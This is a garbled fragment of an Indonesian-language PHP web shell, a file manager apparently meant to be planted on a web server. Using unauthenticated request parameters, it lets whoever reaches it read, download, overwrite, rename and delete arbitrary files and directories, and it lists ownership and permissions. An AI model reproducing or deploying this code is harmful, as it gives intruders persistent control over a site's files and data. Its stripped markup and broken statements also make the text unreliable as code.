table{display:none;}

"; $_r = "required='required'"; $_x = ""; if(isset($_GET['option']) && $_POST['opt'] == 'download'){ header('Content-type: text/plain'); header('Content-Disposition: attachment; filename="'.$_POST['name'].'"'); echo(file_get_contents($_POST['path'])); exit(); } function ▟($path,$p) { if(isset($_GET['path'])) { $kotak = $_GET['path']; }else{ $kotak = getcwd(); } if(is_writable($kotak)) { return "".$p.""; }else{ return "".$p.""; } } function ok(){ echo ''; } } echo "
Nama dir:
"; } } // akhir tools if(isset($_GET['filesrc'])){ echo "
name : ".basename($_GET['filesrc']);"
"; echo '
'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'
'; } elseif(isset($_GET['option']) && $_POST['opt'] != 'hapus'){ echo '
name : '.basename($_POST['path']);'
'; // file if($_POST['opt'] == 'ganti_nama'){ if(isset($_POST['nama_baru'])){ if(rename($_POST['path'],$path.'/'.$_POST['nama_baru'])){ echo ""; }else{ echo 'Ganti nama gagal! '.er().''; } $_POST['name'] = $_POST['nama_baru']; } echo '
'; } elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo 'Edit ok! '.ok().''; }else{ echo 'Edit gagal! '.er().''; } fclose($fp); } echo '
'; } }else{ //hapus dir & file if(isset($_GET['option']) && $_POST['opt'] == 'hapus'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo ""; }else{ echo 'Hapus dir gagal! '.er().''; } } elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo ""; }else{ echo 'Hapus file gagal! '.er().''; } } } $scandir = scandir($path); $pa = getcwd(); echo '
'; foreach($scandir as $dir){ $dt = date("Y-m-d H:i:s", filemtime("$path/$dir")); if(function_exists('posix_getpwuid')) { $downer = @posix_getpwuid(fileowner("$path/$dir")); $downer = $downer['name']; }else{ $downer = fileowner("$path/$dir"); } if(function_exists('posix_getgrgid')) { $dgrp = @posix_getgrgid(filegroup("$path/$dir")); $dgrp = $dgrp['name']; }else{ $dgrp = filegroup("$path/$dir"); } if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo " '; echo " "; } foreach($scandir as $file){ $ft = date("Y-m-d H:i:s", filemtime("$path/$file")); if(!is_file($path.'/'.$file)) continue; if(function_exists('posix_getpwuid')) { $fowner = @posix_getpwuid(fileowner("$path/$file")); $fowner = $fowner['name']; }else{ $fowner = fileowner("$path/$file"); } if(function_exists('posix_getgrgid')) { $fgrp = @posix_getgrgid(filegroup("$path/$file")); $fgrp = $fgrp['name']; }else{ $fgrp = filegroup("$path/$file"); } echo " '; echo " "; } } ?>
name last edit size owner:downer permission options
..
$dir $dt - $downer:$dgrp "; if(is_writable("$path/$dir")) echo ''; elseif(!is_readable("$path/$dir")) echo ''; echo p("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '
$file $ft ".sz(filesize($file))." $fowner:$fgrp "; if(is_writable("$path/$file")) echo ''; elseif(!is_readable("$path/$file")) echo ''; echo p("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '
©